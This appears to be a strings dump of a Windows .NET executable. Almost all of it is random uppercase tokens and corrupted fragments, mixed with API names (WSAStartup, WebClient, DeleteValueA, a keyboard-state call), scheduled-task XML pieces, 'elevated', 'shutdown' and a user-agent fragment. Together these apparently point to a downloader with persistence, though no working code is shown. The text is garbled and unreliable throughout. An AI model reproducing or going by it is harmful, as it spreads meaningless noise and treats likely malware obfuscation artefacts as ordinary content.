IMAGE_D
LdtWkstaGetInfo
ABDYGDVDV
LITLKVXEW
eFCRW
CKHEYINOS
ZPZJUXR
NXSMQKYBYQP
TTMBR
CRVLYWHXWWHM
SSXGPML
DBRTJHCIFCB
EOFQRXCHHD
VBEGWLHO
NJASPG
XTHXFF
MQNDGZ
4Bgjuk22.dll
QGNSNWDK
lPP_Z
JBVKTZZJR
tCCC@
JDNIGGS
IQBNVRDVGDNQ
XKFIBCTBWR
FNONFMFMZS
FFTCCNEIG
& {y
NCFMFHTPAE
lpAddress
TZTTFEXJJBZS
TYUPWVPA
SJBHNTGRFI
QBEXNBFRNHJP
GNHNUCQWRN
DQTGVC
NBVPWL
get_Location
UJKDRBMNZFZC
P xh
VTHFNUDHMFZV
YQOXWJBKFPVI
EDBIHIOSFPCV
& {V
QFYRTM
kFH^EWX
RVXHVECS
VXHSJRXXSP
ODEXRBB
fW LC
GPTDABSG
& {\
D$]*
LNUHQO
XPSQAC
QIHQZ a\CHS
QOLEFM
CYYGTMEHTZO
YTNTYBKELHQ
` K74u
D$]&
VJOEFH
UBHNZB
ONAKEV
DVSXHJHCNBJ
ETUNWVVFN
MKNDFQZCUQNN
& {4
CZSSYWHKXL
BLTKVWLWXXD
HMDGUEQZ
OSAMZBB
HMVUPQG
ANFVPR
UIDHEDBLCMMX
D$ ,
QIGEZYQB
NDNGB
UZARIVHAC
iL^WT
YNLEAEIBU
PWQHRQFQCOA
NBRTARKH
ZJPGMEIYTDRO
BOWYPTZWCBTO
UJWGMPFGIVG
PIMNWHAREPQN
IFWGMT
EPCFOENhB@NM ,_]SEHTOE
PTRXESPHZARN
NYOTFPTCKPAF
LRCUJYKCGNPG
AGXJPSLDET
NTJDVKXI
KRNADOXAVL
MMGRQ
DCTBWWSXFSZ
D$(I
XRQUWU
LMOELBSZZC
XNUQKUSYCC
AYSTXXA
EBMHPVLJPA
JYTCWE
ATJCSL
GTZGJIUHLJ
ZLUVAPZVTMSQ
JAUFPIN
UNQXKREKGA
WSAStartup
CQPNOI
JWBDOQYCAUDS
UZBVGIWEHSB
PJEJYBROIVQU
YXMGIV
UJSLJA
WYQXVHJXDXQC
SDHZACZOW
WOZBHNYUVI
&ru9
AMQRSK
CXEPQS
&ru1
MIJYELAKT
FYMTAFT
&ru+
YEQGGLTK
MRHCRCKMUF
~EY
XKZDPI
STPULM
CEHJAZSBGK
VSNCCANAGORM
ZSVYUT
KWFSRXSMQ
JBQARMSODBY
OBZKOWN
UYGLSLETCN
VOABOWLGY
SDJGLAGYQ
NNMBCPVCXEI
PWTAFSWZZZQT
&ruK
GORJYV
DTBFQCQOUTU
LQMPQKQ
o&8+FML
CIORLVZWPBPO
PFPMM
RCROFWMYWV
ROBPWBVE
AQQDUKMTCGO
&ruE
DLCSXKGIGZ
X'(
BVQMMFYK
LvfDt6Ezhfnd> <RunOnlyIfNe:[}znC:K}fd`me>false</RunOnlyIfN?Pddwi
VIYMWCGNDHF
VAGRDS
XGHZOHKQKK
Sy=]wg*L+X
VQWRIAWP
KDXMQLCIWDTC
ZXIZFELHIUVQ
TBXLFCENHP
RYFGUB
*C a
lSystem.Resources.ResourceReader, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089#System.Resources.RuntimeResourceSet
NSKEOQJFUUXH
DBBFBV
zYLE
NCHIMJBVEWS
&ruf
G `UHR
ESEPJAL
YKXGPCY
GBAHLMMRI
LTBFKZPQRIQ
OKCHOMDIWXD
KTSIE
KGXOGIMENYQK
IHDXEJFDMSA
FQSTLHENL
VSXWFD
SZQFDSXDJOSR
"%/f
QBAGZZU
QJZPTQYJZM
ECPVFFHVA
LHIHUEOJZSA
SPRBEP
ZNVOJRDDH
IAWRXMIZXQH
TDFSVASUTBRA
SAIKDS
KAFWWJJW
KSJBCPZ
GOQSBETD
DPDOXN
j, C&
HCRGHI
}UN]@
TXUMMP
VPUSEEVFEBS
WKRMHIDE
BKDIHEZKKKBS
~AYVX@
EBEKZSWSAIW
DZAZBAUJ
EYQIHDMXS
CEZWIECEGO
F@BMONUL
GWXGSP
UCREXF
DGCRB
MPRXKWHTEWXG
GSGEKCLIAZQ
%c%.8x%s%s
LZEELEPFEYHU
LQTQSN
WAFDCDDQPYIB
@TJUIA
MPMPXP
T%9h42g4R3
AMDCHJF
NBKKUSXQNF
E;Iznml4'Wa`ajRunning
HEMHKDDE
ZSSTMJE
VBFJIOUIYDYL
BFUOPOWZD
) xn
DVZANIX
XTSSCQ
ALMWBMVYZEE
JPMCZACEEW
JHBTDJ
YCAKZ
RCXKHJUK
WFMQOXV
CHTMAE
JJHFRTXHBSW
ZJSOSL
CYHXQEXAIDD
WCRLVMKUOTI
UFOLYD
WSHWBXZJ
IPWZTQBHI
ETLKQWPBGCHS
UQOATZKQVH
WZLZSM
NLWQZFF
ZVZLIKOKIOH
SECGRVLMKNXQ
@& gRA
QPCYH
YRZDEAQHTERM
LSJUXK
QEBWLIYXRFV
QXUELZGCMZNO
EYAXYVTBIJAJ
IBESNQUWPETV
&r=q
WRURXG
n]GAQ
XVTHLUSJVLQI
NVSEVLZOBCM
BHFFFPULWWAI
LA dZFBIRCJJ
LNDNYEQSA
KEJIKYNF
WFYUFY
MUITCRSAIPZF
Y`ndaseMutex
LJRJPGNNCXXT
RCMFYVSBECFM
IKGQTI
&r=j
DHDUHV
RUKZZK
& "}
)!<r
JBXDFOITZX
&r=P
AFSFYLIAPJ
&r=U
XKMSOW
CXNPY
DQCBPCYBJ
& \T
AXMYM
&r=B
RMEXVAY
&r=G
DKHRITDXKFN
RHDXINCUZFBO
$;cA
NRKIESFGDUCL
&r=I
PQKZMDQM
WEVGLO
&r=1
EUSMMWBHBLV
ZILVAA
& \<
AUFCWY
KMSLV
&r=:
SGBPFVY
&r=8
UMQFPC
Z[^ v
NTHEVMI
KVVILWQH
&r=!
ZLRUTQEJMWG
& \.
&r=&
EAZYH
GAMZLKIBMW
&r=+
89*2w
&r=)
UYCQKYOZZ
HOIBMCBZ
BMOPRL
NumberOfRelocation0&Eell/Ib]jPdlocations
CQPFADCL
YTVGKL
PNLEJY
OSEJEZJW
IOWKLSIFMFQ
QKQSJE
ResourceManager
VSJRRE
PPYTGA
SOTTCRW
STMEEVXEQROH
GetExecutingAssembly
WBPFQEJVDKRO
JZLIAAQR
KLVZGYKZZVOE
YQIAMB
TBYZOHLQISM
EMVYSYP
PPNQNSQDHJO
Frvvdm.Resources.RuntimeResour D@oq
MVSFYXV
UHIXLZJ
WCHBFPRRIZWE
BLWUOT
UKLAHQ
&r=
DWRGIA
GTOOQOIV
VYOKCRW
@Q]
NDZHXIQKDA
SQNIN
JOFGA
ZLFVKSNAMQQ
NMXAY
USPYWC
KPJMTLRSOVO
FOTRYLUXG
DAJCEELXD
MWJMWA
DFIAM
&2=8BDEFG
MTDAUAP
NJFQEEY
FOOWGW
NQJVOI
LUEWY
+8 $
,DSQ[
$c%c%S
i 8b
JDBCZXEIICBT
LXBBBBWLQ
FVWOHSQHYV
p Jx
WKGSWIQGOQLA
FJETOWA
GGKVAZOC
XBSBWU
DIIGO
C#o7
|$i*g
HXBTLEYPHK
VMPHOWFLCUJF
PFICCCTK
^,&M
IUVJTRRJLESW
TTBXYV
FWSSMWP
QYCXOBNLYQ
KFYUGUORGEA
GEDXWY
YXFDZPRFXL
TNXOKFFSKEX
PAJYHZDRJN
NDRGXGOPS
DGJDKHSH
ESAVNSMQLTFT
FMINKUPHJOH
U$XB
VMCAJNPYMA
SMKNNT
OHZQWS
YFTEVJEP
FZRPNN
KYPLL
FJNYCH
UQZTU
)838m
LKGWHT
p J&
BASZLT
UZIHCAXSNFMR
XGTSYQXDCHEY
& K
JANUWUUWRJ
FABNKPDK
KYPFNMOBPFGN
OLEPPLOAANVE
NRGJILZFDULS
VCIIFGWVU
JAAKBHD
QBEWHMPQCJS
BNOTT
YEDRJXZWCDUX
DebuggerNonUserCode
TTAJK
KLIWMPMIMOIV
YOQSWP
_STR
BLEGUXMEWPJV
ELFUSU
KFUOCQXDIXW
8$N+
GYLHIJV
aR3%w7d0
SFVYKLGD
QULMHHGGSQLW
AMNGFNSX
DIXJSBESMO
UNPOBCQVRPXD
LKVCEPGKFFAD
FFHUATMIPPD
CQZBXEGLKEVF
MNHDFJH
WRMXZKLEWBPT
LRPSIBV
AI17!(G)
YRIZSDAE
BSXJEPNEXTG
MCYTDF
}R I[
p ?!
DVJVAHX`]FUOXZ
KIIWTK
LNWIWI
YHAHPLMKCQN
YSLXI
HZDWLUHBZVL
YBBCYRKPS
WCWOKRVV
GIKKULNYSEM
h p
WYBPMJTCSTO
EYSRGR
GERBP
NZJEEOLXETWW
<V x A
XFAIXL
JMZZHRNLZ
%sU'1z?'e
CAFTPB
TQBBWAWOCRL
KHNBLF
GAUIFGHJ
UCZPLUOK
VLEHVMLKUBSN
BAECUUY
NumberOfRvaAndSi4De AD5Ewy
WSNLUS
OXOKKEMATFVF
NJYKVYAADLTU
MGJSSMLZIB
DSTUZK
DCLQBTSYBAI
QISRLXALMC
KVGUBRMYDZJL
DVWEOK
p ?j
VGYSR
."py
PTQBCPXQT
ICYBHMFV
DQNTHR
ALIVTOUOCBM
VMGIPLNIOPJ
)OCA!:
RQINNSXNA
LHMTPGCNIOGN
DDSFCMXMXH
DFAPVAWJDBD
p ?z
PRXNSULMISWH
kFBGSN
AVYUOKXMYQ
ZTVHBKRLJ
JZVPPGCJKO
MYQWCPTXOWW
BYPRTUKMQ
DSTXVZ
EEPCZUQ
ULLNFJWMRI
XDQFPOU
LTKFNCVQ
YXVQBERFA
WMTFPUPYV
GPWDKWMUZXS
FWVXKPRG
OOLYFFVPYD
NQXAWRS
TJXOGMOFEBRN
QHDEARVOYQP
YCXLZDOKVLW
JLUCAT
WNYPYC
EHKJHAAYUC
COATZQIQAUQ
LMHBKGCVJ
MQNTCY
DKWHSIXVWAL
GWLUEMLHNBVS
EXWVEI
SZXJEM
XSNZPKP
TFOIGI
XCQFHAFASDKN
HNZIDO
T$P&
KTIQFZHSN
lpT&Yui`C#_a`gwues
CGXFKNK
ICZKZDDTFWQR
SGQITLXRLKAU
k,o e
OKHPLEOHNRM
NKFITFMPZ
UBGUNZEJZJMQ
&rAr
LKYOAN
VAUMZKVKBY
IFRJMPAHOUJC
#&g |
ETWCRGNJJ
Jp Ll0Bf}Dad
QRMLXT
UTABI
DDNFXEVFEVTD
KEisposable
Path=
|$5Z
LYMKELB
WCSHGZ
MRWSJG
IECQNP
ZLWOSMYOHI
CRLSYUJL
OZACNT
}_SBP
VATUZECXVYUR
BPUOKJAIQHLF
WWNNYESVSVUV
QTJXTW
OEVHIFNVVTLB|B_GZ
FlagsAttri:^bn
IBGD
JDKZBXKGCB
BQERKFIGZCXC
VEIFMHNW
V%Vkh
Mjr5NbGu
D$ K&
SIECTSWDHCCZ
X%N,
XOIDRMBCIKT
,WAIP
RBSNKEBM
ILSAGV
VIFKD
nFSMA
GLMKXKHUGWZ
$.2X
IKSNWVFRAX
QEGDSKYPMAU
$0VA
GICYC
ODFMPUGVY
p gh
GHQYMH
QHLOSXI`EGMV
KWKXZQUEUMMR
ZLYTBXGKEEUB
BWWGQU
MJXHQSTTNNRW
YQZCBII
&r%(
OTRDFNZY
QJOPJPUDNXIR
p gv
RVVIVGDPNYBI
LSEZKF
LTVMLXHI
SVBQMYNMZJO
Re?d|ewgJey
FHFHMEYQKQTO
iZZLT
MFEEYJX
NEARJWXPCOC
H @h
d\\LMUUZR
WKGOHCXTFFMG
NLHVVRZQQIONVf]DWUKEZ
m7kF3G3yxtzb
GHYWDBOQVGC
AVPCJLWBYZ
PECLOQXLGJKN
XHVHAS
QUJKMZ
VUPUZNGPKWJC
M th
FPKBYBTMCQE
VZQMUAT
TFLFWBUJEC
PTXMWWGXQHOH
%s:%u
JDMPZSEVGWXQ
& 72
JZOWIROUECJ
%s\%s
OSOZLFQGJCCT
HNFOICKGI
OQWPCAKFXR
VMUHOCYEYEF
TIBARFHW
9A`n)qs~qkogs> <AllowStar,c}L`o5Dw6qpte</AllowStartOnDema;M+
YPWPIEKZCEP
RSGUGQHN
MGEMWZTNGSL
QSRXMQURDGMW
@*&
SPENTO
LO"?
& 1B
*!Tr
QODBGYRR
HZITHV
RVJPUMS
& 1J
BZYFSPCUC
QKEDVEAKMWC
NIHXGF
ZIEBSQHERDYU
VBCBYXGJA
RTLAIPRSEDNI
TEFONQQR
AEEVJP
JGUQFLRKCH
X*hB
VWROJO
VYAQSCBI
MMOTMRFUGM
TBBYXEJUR
feromero
ZCYVOLFHEP
BKIQWBMTI
BRHAFRJK
EFVBYTUF
YCGPWOPQW
OJAJKZFZHIF
AVZPLQBT
JEFHIKWMEODZ
QMJLIQGXGTL
& ,
YIIPHBOYAMD
ICOMQAIPKJYX
BNSHMUXJHHHO
AAYVMHXDJEQU
WNZGNH
& d%
YIAHLU
AZUOXO
NZJKXS
XOPBUH
SGILWKM
ENMMEB
OVHZUVNAKPGQ
QCUZSZBTFQEK
CLMLZXXNJW
JZTSZCRTM
ZEWHZQQBNFTQ
HTSUOVFDJD
MMLVNM
CUXGTIPCEEGS
FOWPRBUBPLMT
VHOEOGTAO
&rzv
JGPYREAOX
NFDSUXVTSWQ
~V OD
IFAXESCSP
DIFFQGHXHFH
FIHJLX
f_@LFYmGL^RID
UDCNS
HPXZZTTIW
FGHGBP
ARUNUJMGGI
JEHALL
ZBXMPB
MIKJBURXEE
YVLKDAT
FKQBSGKYTYQ
JSAFFL
NJSIOM
EOGYNYFBOLE
FSXTGUCZOSNP
aWDKG
XQORYLHQ
FZIHYZYIZHRU
NavJeyboardState
VOBIYFNV
VBVOKUYUX
CIJBAA
OQBWJZBDVE
XATOECZ
YCFBRBDKTKC
QVDIHKUUWYV
WUTJHDDXMJNE
CGFNUXTWHDYW
SRWQHKTG
QDEOEIGORHMR
HHIYJGQNQ
GZIDBHNNGLPM
'%ade
YNPIMJNCECJJ
MRVITAKOPHGU
LULCWNSHV
DAQRGRULKOYG
FHRXALI
TERMINAT
RSGQXRJOHAIA
OBYNHWKIYXG
HKJDKIYCIIRF
WMDBGBJUNBCV
WXTMVRGGMBIV
LUSUVZXXMX
EPCAHBIUNN
OVSMW
+KL42Vg r46d U
RIJXPR
ZTPQSQDYFTV
ZKSQKLCCKIMC
PQDUTBI
WPDJTS
LJTESS
YYYSRNEXJZVB
JTQEJEHTOAMI
SHGVYM
XLYKSGTFQFCU
QYCSVXNZRKMP
-LTY
fQ ESHRGB
JOXGA
NEX e]\QLN
& yn
UNHRLA
QHVIXRKY
DRWSN
IPUAWJ
VRRCJO
8j5g6-8706a1f1669b
YLUNDBDEOHR
& yy
I+4GW
JOANTVU
EFJLKJ
SFLIEFS
TSJFOMS
XSTVIX
JFKOEG
AJUVXX
IOAPQQCTZWW
&r"~
select
& yI
GVYGAZ
SAOXYHSUD
EYEOVBMOKFX
HPUGEMH
STIPBCWNTQQ
PQKVLOEFTQDY
CnT
YQFRSO
FUIMPASW
U v/+:y%s
AEDMKL
MAVIGJ
MMWFIYT
JIUNLIOTH
LCHUAO
YSZTODDN
OYTNSDUSMNBA
& y*
ZXTRNZNSNA
& y,
$cnjf
FXQKVUBUDDRH
ICOQBNCGZJIP
)]SMEBE
& y9
ONZKEN
AJQTIRNRC
D$_%
GSMHXCOZ
uVIDETKSFN
@zS
EHGZSMBPBIQ
& y2
XEFJOBJUB wS \[
W,=
CBKYNGEKRS
(,a(
HMROUVCOQJOD
aR JHKDN
HRCIJLHGTPD
IXMXGP
URNNV
ZPYGRDSBKFEQ
NPASOUV
BWEVSNTN
Cs4}@#8b6S3YW0d36ZRYI3iG}J%r+Qhi
WNWMUKAJBHC
PRAYPQ
gAGGJKF
NMNUP
YHERLDGPJKC
MKXEDKYM
FIZFHVFOEID
AXMPQSLHKIUG
JCDISO
IEVVLCPVVI
T;k|
VSXJHG
BOFODYJKP
pznW72iG3GzX8Zlk
HNSGAGMHGQVJ
HOZRGRELCH
WTDFUY
HUYGYF
XRJURA
Sy<Vpe+A'LffkgotModel
ORSVZNXJE
&rw.
RBYJW
KMREOP
CMVVLIUPP
PKMVPNEOTTOQ
\CRQLZLAKU
SBIEOE
BNBVPIGOAI
AENXYVPKPWBQ
WZZZYJFLCX
KCQBLDP
YNLHMVTWDNH
BFUKSK
HMPJRGHOKUBX
*PXKAEW
s?P`dfinpt
SDJGYFWJID
HNPBNLJQZPCB
GVECDPPSSKWT
&rw
VONRDWJEEHBM
RZQQAALZ
FXJLHUM
&r%c
EEAWWUMN
SJYNDB
GMHSRJAFDXS
XCYHTS
CEWFYLRBGUXI
VGQGFCTCSNMC
AWDJYEKBB
HUKIQZ
TGHSESTXEQW
&rwa
MVFQHPBADKXK
WEIMAD
&rwe
XOPBHN
UZDJRRWCK
[-W>BH _;Bnd u&z
KJNYCYKZEQG
UMYXMBPHQGEG
HFYKFMB
&rwo
LVSYJ
OQOMWSUQSFO
SSXLYW
MvHWY
vT +
_@LSZGVFQSOF
JMMWRD
HEAUOE
GNHXXD
Xnsf
UUVRRGEQDYKV
ZRPANY
SBLULADHJF
WWNYRMK
TARQEJJFLJFG
CRWGN
GWLFCKRT
ZVJILYBHRFVE
!This program cannot be run in DOS mode. $
2(9Gyec> <Commandhp_FFC
&rwO
JKRWXQ
BLKK
GRDFLN
OFUUBYVOV
WFDKNLPMCND
LPDVKM
GEFJG
DADNMU
m+B*
VBVQRO
SFYGKMXKF
AELJAMBZXHCC
FPIRRKZGKI
IOGYECGNXBTP
UYTEBYAGNNF
!\q
VYFGYF
IIWVAFRBFOK
JYCJCHLQL
MARUVWUWRGV
JEZNTQE
HEENFZOLKZGR
ZJAQVJ
AJTCQPWXJJDZ
FFPKMDJMYCR
EFSAKS
mAB]@LZ
PSDVDFIXKMYD
ZKGMPDE
pI6&=z$s\%s
YLHTIE
XLNCLHAGILF
XLFIFR
HXSQGBNCPXKJ
VXVECVWA
GYQFNEHTIZY
WAFNPLAN
ComVisibl=hb}vk*Ren
QCFJCKPDUSYM
QEWDAHES
TWOUZSGPNGEJ
WUYQXA
tE^SV ~
BFKPYPHGX
GRFGKKUGJ
QKWQVE
FBISEHTZ
MEZPWWMMAW
LIRML
ZBOEEAZTM
UPKQMLYFVRPK
GXALZY
OUYUV
PDWNLODZBDI
KPOTEGWMZZBU
XCYFZNMNL
LZMJEXB
HORNXSAJHYAO
%I64d
fZZIDW
MAMLZMI
PTQGYNOXSSKU
KUYCTIUNIRL
ELUJJBHKZSTY
hPIIX
VTDCAD
PFCWUAUVXN
ICRLADZIRKH
%I64u
shutdownI*
PXNTISGBCXH
BsemfLX
CbeFlags
YSBYOABGBT
FSQMUWXGQYBI
OKHVDMIBBUNE
XAMWFL
LTLSTYQGDI
OBEPJIQQU
AUGBIZUEJ
bXZR[NMC
lpflOldP1CglgvHGyYwmuect
BGNLPNMIGLZQ
NMBKNXLPCGL
XZAWFBPCSGLI
XLVZBOZKDJL
ODWTCPO
LAVTWL
VNHKIDE
WSZCOBVKIAI
b\86,ell
CDLKRWPM tA BG
JDQXVM
WHUKYU
$4G,
a[]TKGXGCG
UFOSQXJU
` U"
OUHDZVDRJ
BOYHSSFB
BSAZJJJ
JAEPRSB
&r?l
HFFWZ
WIBRNU
ZBALDX
&r?c
DQJBJB
HJDLSQIHKB
POAATYOLGPL
FGMINU
JOUZVI
QUDSAUAZFGME
KORIRW
&r?Z
HFZTRJ
&r?^
&r?Q
RAKLQRAIH
PHSYA
FWLUDCGIZCX
SMQALAHGKKX
EFQPHOXQQ
&r?H
RBDTUVJENXCX
APCRGK
LUZSANVJ
QYJSUYUDSQU
UYMGFUZZSB
KNRULUXSXS
KDQGOQVXBGI
JXXHCKBDPU
MUHTZZY
RJVMJHED
CYZAHEIKMSK
RLONYEMNQH
ICGFCA
ZRWMRJA
'=0AGF0413111d3B88Ae
PQFYPSAFXELP
OZEMFIGWCZZ
PLXICGUYALOQ
ZTESYNNQTCF
VLKOCXIM
YHNODH
& dJ
&r?*
&r?,
ANQHBUJXSMLZ
GEOSTRK
ISGHZM
&r?%
DZVUOJWSBE
QMRJETSRKB
KFRGLL
AMXHPTI
Z`eEeleteValueA
MOERWM
PXHTLZGPL
ENNGML
XQPJMVEEAB
g[ IPVHTPOKMELM
FCBCPL
VNYLGI
EZECJYS
&r?
HKCEJY
OTIDBX
UAJLB
&r?
PIEYBYI
WKZSCL
OVRFF
FYCMPGRASC
@PencilCorp
VMf[
WIWVLMMNKD
&r _
IFLZUX
ZWVYCLMQFGKZ
DLQTY *H^VL
HHIVCNIMR
CYIYHUDTH
WFXLHW
P0Zs5uRs0
p L@
C"{8
PPHSG
VTGPIYQIKHTR
CYGLJDW
VKSRHI
WZXJMW
CDTQATMOXXNI
CPBECXBQLZK
IWZSBHHCJZH
kernel32.<Ay
XMDQFKB
%Y__]
BXKYCSMLFFN
SWVSEIPIB
BNOAGCWYZFKP
YFKONPV
TLDVUQNEU
YVNOQLFMHKS
MCBDASZVU
Vw1%
YXWRYDVDTFK
PBDXR
%sl_O !f;%I64-
HQCPGEFBHY
AUQURBOWS
rG[NZS|^NUNY
RICOXMVLFGZD
NSFRMQXYMEP
DQMKFON
RLARRGVIWQHI
JVBBAV
WAEUDRM
HMSAJM
RJUAAQSVZYBD
N Pl
XDJIAG
KCOQBRAX
FMQLPJHEQCGV
E$|=
TWSPGV
VRPJVPQVNDY
BLORWH
XQUPO
bCCLOSP
SRVALISDK
YCKPIPEDJF
PWIYZDERFN
JBNSOT
MMENASBM
QWOPWOGHZZH
0wQ
ZUZPRQEUDQ
UYEEOAEKYBZC
CRWELZWSIBG
JOETGO
MXLVZKQOANC
MPYOXW
Q, v-
YNWGMRSMSNVQ
TNLCQT
UAOPSXOR
TDIAVNKSZZ
TDSWEJ
EWYBHEFCKFBX
IZINSZPVJLCR
XPDZRRE
LHZGXH
HDIXRCZTSIWQ
YZIJIVZCEM
XFWKHEU
LENDRT
INXEWR
DFYRQ
c`poel32.dll
NPZSXDYUQTWZ
YCKWEUVMYKMV
KQXVUMIT
WREDKZXAYLF
XCWVSMNRNPM
ITUMQVBODNUS
~DYDDEIsSe1'
JXDJHFV
TKDLEFBCLS
XNRWS
XGPNRRDSHXUG
CKMUYXZ
OMZOLO
QCLOMLUD
GVHESIVL
BHKRCGWC
KUTXEK
YFECYMYBAY
YFUKKFREQW
UYYME
UDYZIESXTCSR
MMMZKUOVSA
HOJNQW
P"X'
MDGSDQPAV
QADSORUNQSQE
MCORSMPXU
KEOMJYDGY
i^YKZOTTFF
JBRGSZIBK
RFCTCGOBD
RHNSXDPCPR
FJKKYIPYW
GKLOSHUPPQT
VZRDA
KHOUNF
ERQLMNFZD
YKHXZJ
KFRNJNWOIO
GSOTGFZTTADV
JBUHBLRFWQ
ZVPQGWY
AEDHS
MYLJNASLTTTB
NRCLZJ
OMDRDK
u# 4
p !X
VZAGQY
UAQCDFAWDZ
AZKOJH
VBWNRZZH
t ti
GRPDJPQDNWJB
$|N"
AZCIALQWBVII
TJXFXRNEZRA
p !v
UEHSJLRQOBLY
DMMBZD
XTXUOOZB
SMFYXJDYVMOW
p !~
OCFTMCBY
M!*A
jFBQV[oTCLWU
XHNHYT
DDCOQPKZPH
INRIT
BZQWJDVK
AWGIWM
SJZQJSYNDGTF
HHAASKEUYAMY
UUKBZI
WBRAUZXD
SQNRCVVY
RTHGKCS
C:\Users\zeros\O6ATxmt1uQefwlents\Visual Studio {
lLMSD
APNNAQKMZXX
RLJRHRL
QVCRWCKOAF
FTWWAJKISQ
BYLUPOTMBN
d|?30.0) like GeckoD-Phfgqt: t'Yd&mvll,application/ Ldgh)yml,a$T
JIGQX
SLDXJ
FKXXXBSCR
MethodInfo
QCCCOSAQ
RKKIJRG
Cs43l63g4R3YW01
MNROZMQFTA
RCXLIMYKKIWG
DXDWDM
YOAPSF
CYIWPOSPOS
B(UlpOndule
k@OH
FWNHUF
XXWHHAPLC
DWAPDG
CompilationRelaxationsAttribute
DDOLJZ
UDCGDS
MQGMGHN
CGZDMI
ETXPFNRIZGD
SBHKISGNRIE
EBIUKZ
lZ ^D
WOTPSL
YVXBPGEEZJ
MDZLLU
BOTXNK
9)e l
UXXVVI
UEXVUPVSNUGR
& N'
KMBJWAUPAXGM
FJDLYSZUTNN
EDUBYAKCUDUZ
LRMAOK
VVYTKWJUJCAW
VBLNKRMHFFZ
VVISGVLDVNL
RXJDOPAAFHM
AGPHTV
VOCKGA
WYOZPZFJIB
QZRTPPZKL
YQQOCPBLDRBQ
LCPIVUZULJ
UJLOIKEUUNK
iLZFDWB
TEMCNZZHCVP
e^ NUEFWDRSXZCI
RKQJTIMQMZMV
XGFRNZBQ
KGJMO
9T9N 9C66gW0S
RQJZSQHDAG
PVHCKGCVOFNQ
VPGDIIMOQE
UQPNKM
IKSMD
BZGJD
ASMXLXNWZXG
PQMEZR
KZYFRGWGSV
PYNXPSJ
CZNRCFADXCGP
vQc0%
FOJJJHNGQRM
ZAGVKSLWNJ
BDIBGLVOQGL
HNFXEPOM
XDSVM
p in
ELCBOAWWUYI
I oJL]
EUEFNEVS
p ii
ZZNOGEDJPL
VGQHVWRIFZW
EEPRRMAKSM
w4Y)
CNCKCJIYBR
ABUGOL
TEAYEY
DKSBEI
MIFCOLFZWYGC
& ?
@G,<
~Q@S
DGHHMTND
OVTKUUCYG
TEPCBK
HTMVACUWBFR
IXPWNJRHQESY
HCSRWYSCBMZC
BRTNCKPEVL
OLKCSB
QFBRNBVAXWYI
WriteFil''
SZRNRZ
GFBQVNAXP
JBIZCQPZA
YLSLLSSKO
VCQVDTTVBHK
BKXURWN
TUBATGPCnUNHT
PANYRVO
NAYVOELZEUAG
ZGGBUCTD
QPSADH
IBOBFJJFDHHV
IHZSKP
RIKTFF
VDYGLVTVUD
DKTAEEXLDIHK
FRJYXIDTZYU
SYZWWDTGHQ
XKWHDSYA
ENUSWLUS
ZPYPOG
GOAFNOKFM
YXKKNE
PHOSSMEGGUQD
p i%
VRLUISLGMSL
[^_]
p i?
LGQMYTG
RFNTOFPGUTZ
hThr7Eq Kr<B@awg`d
IRWVJTCNDF
SEHIOMTQYTO
VZEUGQEHPFN
DLECBVTRTr@@_V
AXUEORW
BTQCOZ
RGVGCSBIBSK
RARIXO
& ?@
DAMKG
EPUWPXRRYIHH
CUGQY
UIGMFX
&r\v
& ?x
PTTGTCEEW
b@ WQ
VGGPFEWTRD
UGIZHH
& ?s
NYPNB
SegSs
EZYGDIZMBN
XqlOet
VESMVR
XANWLMPSGBV
RVZGFYDVGBAK
& ?g
YTEPORF
GCQKPJBGGET
`B]JI
IMEFBYACVHOB
TQOAXZVQJFO
MWUPBKTTWJV
NyHT
PNZGKIBPK
WRRBZ
o O"
EOMAGU
KVTQCKZJZMRV
KCGFMEWRFIOA
YSLDUGCYHQ
ELDGTTUFM
SSWETP
YUAUIZONXAC
HCILHWS
IHEEKEEN
YYLPLF
BBPCHWONS
YDLYRXE
MWXHS
XYEYULGV
BAZIQCAAERZH
HDERAPP
BZBPQJYUI
MWQVWIGDS
C,t{
KJLMLLABXD
{[F]MDhCAQOWPHZO
OVFXPE
SMSMUTKCRFH
D_CCPPA
CCPYLODEBHX|LJTRF
Concat
QLHHVVRMJIA
IFSUAXIZ
HLMTHYOVNGKR
WPORDH
JZBASTOKJRHS
IUCKZSB
JNRBMYBFMONN
h@^MG
LCDIDORDLZJW
d[ O[
MWJCHFWHAFN
VBSIF
ExtendedRegisters
XYUANFTLLJLK
sR JK
m6CjR
HEAVLFPGU
AAGIGTF
YXPENQDKQCZN
GVOABTIGNZWV
UBSMHNLK
JXOOCWFF
MHDCSOKXNNA
GLPNOYXS
JAXYMQUMNRIX
BLOXNM
XHILVSBLZM
BPDRYUHSN
NLXCACPEZJ
RHQUYPJTNFMQ
MQGUZSAITEXD
j "
nRAKW
WSKCFRURW
WUNQXJCTD
WebClient
RZRWL
OBSECTAJEGJZ
{FOAA
PFYONQWDSFU
WWOQQPXZDEBS
RZXHVXT
q_@GTVC
TEUOCRU
& Nl
D$,;
&cB1F3y.Sii
HXNAHX
YKAJDXBFWQ
PCHPQMULSGK
OKNGEX
AGEHKVASEBK
r^BUZ
FBVFDGDPQRAT
MVRYCGTYV
EZVCFT
&r$z
PMNMH
RHGSOQERIGAQ
D$ O$
QMWICQ
IBOYU
& gj
ODSEXXPUMKNT
SHTHWC
QAAILQMGTUNZ
ROJOALAQNVS
, f
FOAHUA
WRVSUWHXWGMT
BRAHTT
BAH }DPR
PPZHDO
ZRWLANK
PJKJEWZFJW
elevated
;t$ }3
EREUMSQD
HEsh`nlTable
D$QL
FJEXG
get_TickCou'^
HKYKTXFVAAK
AEOQRIOC
PNVTVO
B$3B
JFUAVVCER
DPDGUEZZXICV
YXKGEX
CFHUAZHBJX
COUQBR
WOJRSDBSWAF
D$,y
XBWEZJEVW
COUAOZ
IHCFYSQMXLJG
YWJZDCFKCLTK
System.Text
D$,r
SHIUFITHJQE
QRYNTJSGT
, |n
ULEUZFUKCIAT
MFDYHZ
DQHLZAPUV
RXWTQAEQK
RDOQNR
MYNRYLDB
rpX-
ZSMLAFQLPYBK
TEABGAZXXW
,,w m
MREIHESCCB
RECBEXQBJQ
PQHLVDRDZ
RHKLOR
gWAU
KCLZZB
&r #
NYOYGEPNGFOT
TOAJYFEFWM
H @a
t t~
CJRHOBBB
AEMDDNJBSTY
YWSCDXZCZ
D$,@
YIHNPK
`D OZ
~ZXQSITCGLO
D$,F
MJZLDBO
RIEKBE
EEIPJMOPS
PYVZPV
SMYFY
AESITP
&ry&
&ry#
p QI
JJMDLKIJG
FPOGKK
&ry>
PtntimeTypeHandle
VFVNPLFGD
GVGBHZL
